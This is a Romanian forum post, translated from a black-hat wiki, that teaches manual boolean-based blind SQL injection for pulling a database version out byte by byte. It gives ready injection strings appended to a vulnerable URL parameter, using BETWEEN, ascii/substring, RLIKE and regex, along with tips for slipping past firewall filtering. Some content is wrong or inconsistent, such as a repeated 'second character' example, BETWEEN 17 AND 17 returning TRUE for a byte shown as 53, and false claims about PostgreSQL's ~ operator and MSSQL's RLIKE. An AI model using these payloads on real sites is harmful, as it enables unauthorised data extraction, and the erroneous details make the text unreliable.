Jump to content
TheBlackHatGuy

[AVANSAT]Enumerare manuala boolean

Recommended Posts

Posted (edited)

Nota: Acesta este un articol pentru avansati.

NU VETI INVATA SA FOLOSITI HAVIJ PENTRU O INJECTIE BOOLEAN.

NU VETI INVATA CUM SA EXECUTATI O INJECTIE CA SA DATI DEFACE.

SUNT DOAR NISTE SFATURI SI INDRUMARI,NU ESTE UN TUTORIAL COMPLET PENTRU A AFLA DATE IMPORTANTE.

NU IMI ASIGUR NICIUN RISC PENTRU FOLOSIREA A CE ESTE MAI JOS.

Enumerarea boolean reprezinta procesul utilizarii "statementurilor" conditionale (TRUE sau FALSE) pentru a determina valoarea unui byte .

  • Valoarea maxima a unui byte este 255,iar minima 0
  • Sunt 8 biti intr-un byte
  • Un bit poate fi 1 sau 0 (1=TRUE , 2=FALSE)

Din fericire, operatorii universali si functiile universale cuprind:

Operator : BETWEEN ... AND ...

Operatori: = < >

Functie: substring()

Functie: ascii()

PROTIP: O enumeratie basic folosind operatori standard este posibila, insa de obicei este filtrata de un firewall, deci este recomandat sa ii folositi doar pentru demonstratii.

Pentru a va asigura ca integritatea datelor este mentinuta,fiti siguri ca:

  • Mereu folositi LIMIT pentru statementurile selectate in subqueries
  • Mereu folositi ORDER BY pentru statementurile selectate in subqueries, si pastrati numele coloanei

Folosirea codurilor Ascii si a functiei ascii() pentru enumeratie

Folosirea functiei ascii() in cazul oricarui motor de DB va returna codul Ascii pentru caracterul cerut.Daca se cere un intreg string, va returna codul doar pentru primul caracter. Exemplu:

SELECT ascii('a');
+------------+
| ascii('a') |
+------------+
| 97 |
+------------+
1 ROW IN SET (0.00 sec)

substring()

Folosirea substring() pentru selectarea unui single byte.

  • Sintaxa substring() este:

SUBSTRING([STRING],[POSITION],[LEN])

  • Selectarea primului caracter dintr-un string:

SELECT SUBSTRING('abc',1,1);
+----------------------+
| SUBSTRING('abc',1,1) |
+----------------------+
| a |
+----------------------+
1 ROW IN SET (0.00 sec)

  • Selectarea celui de-al doilea caracter dintr-un string:

SELECT SUBSTRING('abc',1,1);
+----------------------+
| SUBSTRING('abc',1,1) |
+----------------------+
| a |
+----------------------+
1 ROW IN SET (0.00 sec)

PROTIP: Functiile upper() si lower() pot fi folosite pentru a converti rezultatele in caractere uppercase sau lowercase.Asta ar putea,insa,sa stearga un set de caractere ascii din posibilele valori din timpul testarii.

Version fingerprinting prin enumeratii ascii-based

Nota: Prin enumeratii boolean se pot obtine orice fel de date,insa eu voi da un exemplu prin obtinerea versiunii.

TEORIE

Ca un exemplu,voi folosi functia version() .

PROTIP: Daca version() nu functioneaza, puteti incerca variabila @@version in schimb.

  • Codul ascii pentru primul caracter al stringului versiunii poate fi accesat prin:

ascii(substring(lower(version()),1,1))

  • In cazul MySQL, primul caracter al versiunii este un numar.In exemplul nostru,primul caracter este '5'.

mysql> SELECT ascii(SUBSTRING(LOWER(version()),1,1));
+----------------------------------------+
| ascii(SUBSTRING(LOWER(version()),1,1)) |
+----------------------------------------+
| 53 |
+----------------------------------------+
1 ROW IN SET (0.00 sec)

  • In cazul PostgreSQL, primul caracter al versiunii este 'P'.Tinand cont ca il convertim in Ascii,el va insemna 112:

postgres=# SELECT ascii(SUBSTRING(LOWER(version()),1,1));
ascii
-------
112
(1 ROW)

PRACTICA

Aceste queriuri pot fi folosite si pe MSSQL, insa din pacate nu am un server ruland pe MSSQL la indemana.Aceleasi sintaxe pot fi aplicate, exceptand @@version .

  • Folosirea between ... and ... ca si statementuri de comparatie, valorile putand fi izolate:

/vulnerabil.ext?id=1 and ascii(substring(lower(version()),1,1)) between 0 and 105
/vulnerabil.ext?id=1 and ascii(substring(lower(version()),1,1)) between 106 and 255

  • Delimitatorii pot fi ajustati prin statementul between pentru a rezulta TRUE,pana cand ei vor fi egalii.Cand ambii parametri sunt egali si rezultatul e TRUE, valoarea byteului este gasita:

SELECT * FROM exemplu WHERE id=1 AND ascii(SUBSTRING(LOWER(version()),1,1)) BETWEEN 17 AND 17;
+----+---------------------+
| id | text_simplu |
+----+---------------------+
| 1 | text simplu |
+----+---------------------+
1 ROW IN SET (0.01 sec)

  • Folosind aceeasi metoda ca si la identificarea primului byte, se poate afla si al doilea (ca exemplu):

ascii(SUBSTRING(LOWER(version()),1,1))

DEVINE

ascii(SUBSTRING(LOWER(version()),2,1))

Folosirea expresiilor regulare pentru enumerarea Boolean

Expresiile regulare sunt cu siguranta cea mai buna solutie in cazul filtrarii.

  • Operatorul REGEXP al MySQL este case insensitive.
  • Operatorul ~ al PostgreSQL este case insensitive.

Notiuni de baza ale expresiilor regulare.

Nota: REGEXP permite o analiza comparativa a unui singur byte al unui string dintr-o lista, asta fiind similar injectiilor between ... and ... .

Patternuri:

  • Caractere speciale:

^   Inceputul unui string
$ Sfarsitul unui string
. Orice caracter
* 0 sau mai mult din caracterul precedent
+ 1 sau mai mult din caracterul precedent
? 0 sau 1 din caracterul precedent

PROTIP: Pentru a verifica daca un string incepe cu un anumit caracter (voi folosi litera "c" ca si exemplu), expresia regulara "^c" poate fi folosita. Asta va functiona,insa, DOAR daca primul caracter este "c".

Intervale si liste:

  • Un interval sau o lista poate fi specificata intre paranteze '[ si ]'.Intervalele pot cuprinde litere si numere,in timp ce listele au caractere predefinite:

[a-z] Numai litere de la 'a' la 'z'.
[0-9] Numai numere
[aeiou] Numai vocale
^a[0-9] Functioneaza doar daca prima litera este a,restul fiind numere.

Version fingerprinting folosind expresii regulare compatibile

PROTIP: Expresiile regulare sunt portabile.

Nota: Atat MSSQL cat si MySQL au expresia RLIKE ca si operator.

  • Enumerarea versiunii pe MySQL si MSSQL:

AND version() RLIKE '^[0-4]'        -- Va functiona doar daca primul caracter al versiunii este cuprins intre 0 si 4.
AND version() RLIKE '^[5-9]' -- Va functiona doar daca primul caracter al versiunii este cuprins intre 5 si 9.

  • In cazul PostgreSQL,unde primul char este mereu 'P':

AND LOWER(version()) ~ '^[a-z]'   -- Trebuie sa returneze INTOTDEAUNA 'TRUE'
AND UPPER(version()) ~ '^[a-z]' -- NICIODATA nu trebuie sa returneze 'TRUE'

Sursa pt traducere: http://www.blackhatlibrary.net/SQL_injection#Advanced:_manual_boolean_enumeration

Edited by TheBlackHatGuy

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...